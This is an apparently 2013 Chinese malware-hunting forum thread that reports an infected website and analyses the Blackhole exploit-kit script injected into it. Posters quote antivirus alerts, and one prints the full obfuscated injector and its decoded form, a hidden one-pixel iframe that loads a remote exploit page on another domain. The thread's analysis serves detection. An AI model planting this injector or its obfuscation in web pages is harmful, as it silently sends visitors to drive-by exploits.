http://royalelec.com/

显示全部楼层 · 发表于 2013-4-18 14:02:51

2013/4/18 14:02:11 已删除 l\AA C:\Program Files (x86)\Google\Chrome\Application\chrome.exe C:\Sandbox\AA\Chrome\user\current\AppData\Local\Google\Chrome\User Data\Default\Cache\f_00018a\000035b6.js JS/Exploit-Blacole.le (特洛伊)

显示全部楼层 · 发表于 2013-4-18 16:09:25

目前还有效，eset报毒
无跳转，直接一段隐藏的iframe下载链接
其中try{document;}catch(agdsg)等语句是目前Blacole Exploit的特征
混淆前：

<script type="text/javascript" language="javascript" > p=parseInt;ss=(123)?String.fromCharCode:0;asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!7@!73!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!7@!73!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!66!61!6e!73!6f!66!74!61!7@!6c!6f!72!73!77!6@!66!74!2e!63!6f!6d!2f!77!70!2d!6@!6e!63!6c!75!64!65!73!2f!64!74!64!2e!70!68!70!27!3b!d!a!20!20!20!20!7@!73!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!7@!73!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!7@!73!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!7@!73!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!7@!73!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!7@!73!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!7@!73!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!7@!73!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!7@!73!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!7@!73!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=196;if(dbshre){vfvwe=0;try{document;}catch(agdsg){vfvwe=1;}if(!vfvwe){e=eval;}s="";if(zz)for(i=0;i-478!=0;i++){if(window.document)s+=ss(p(asgq[i],16));}if(window.document)e(s);}}</script>

复制代码

反混淆后：

(function() {
var ys = document.createElement('iframe');
ys.src = 'http://www.fansoftaylorswift.com/wp-includes/dtd.php';
ys.style.position = 'absolute';
ys.style.border = '0';
ys.style.height = '1px';
ys.style.width = '1px';
ys.style.left = '1px';
ys.style.top = '1px';
if (!document.getElementById('ys')) {
document.write('<div id=\'ys\'></div>');
document.getElementById('ys').appendChild(ys);
}
})();

复制代码

显示全部楼层 · 发表于 2013-4-18 16:26:07

(function () {
var t = document.createElement('iframe');

t.src = 'http://www.fansoftaylorsw
ift.com/wp-includes/dtd.php';
t.style.position = 'absolute';
t.style.border = '0';
t.sty
le.height = '1px';
t.style.width = '1px';
t.style.left = '1px';
t.style.top = '1px';


  if (!document.getElementById('t')) {
      document.write('<div id=\'t\'></div>
');
      document.getElementById('t').appendChild(t);
}
})();

(function () {
var ys = document.createElement('iframe');

ys.src = 'http://www.fansoftaylor
swift.com/wp-includes/dtd.php';
ys.style.position = 'absolute';
ys.style.border = '0';
y
s.style.height = '1px';
ys.style.width = '1px';
ys.style.left = '1px';
ys.style.top = '1
px';

if (!document.getElementById('ys')) {
      document.write('<div id=\'ys\'></div>
');
      document.getElementById('ys').appendChild(ys);
}
})();

显示全部楼层 · 发表于 2013-4-18 19:09:08

During Close the file "C:\Users\abc\AppData\Local\Google\Chrome\User Data\Default\Cache\f_000189" the "Trojan.JS.BlacoleRef.AT (Engine A)" virus was detected. Access denied.

显示全部楼层 · 发表于 2013-4-18 19:11:59

dayangyang 发表于 2013-4-18 16:09
目前还有效，eset报毒
无跳转，直接一段隐藏的iframe下载链接
其中try{document;}catch(agdsg)等语句是目 ...

好奇怪版主怎么还不给你加分转正呢？
过几天转正就加入猎人组吧

[未鉴定] http://royalelec.com/

评分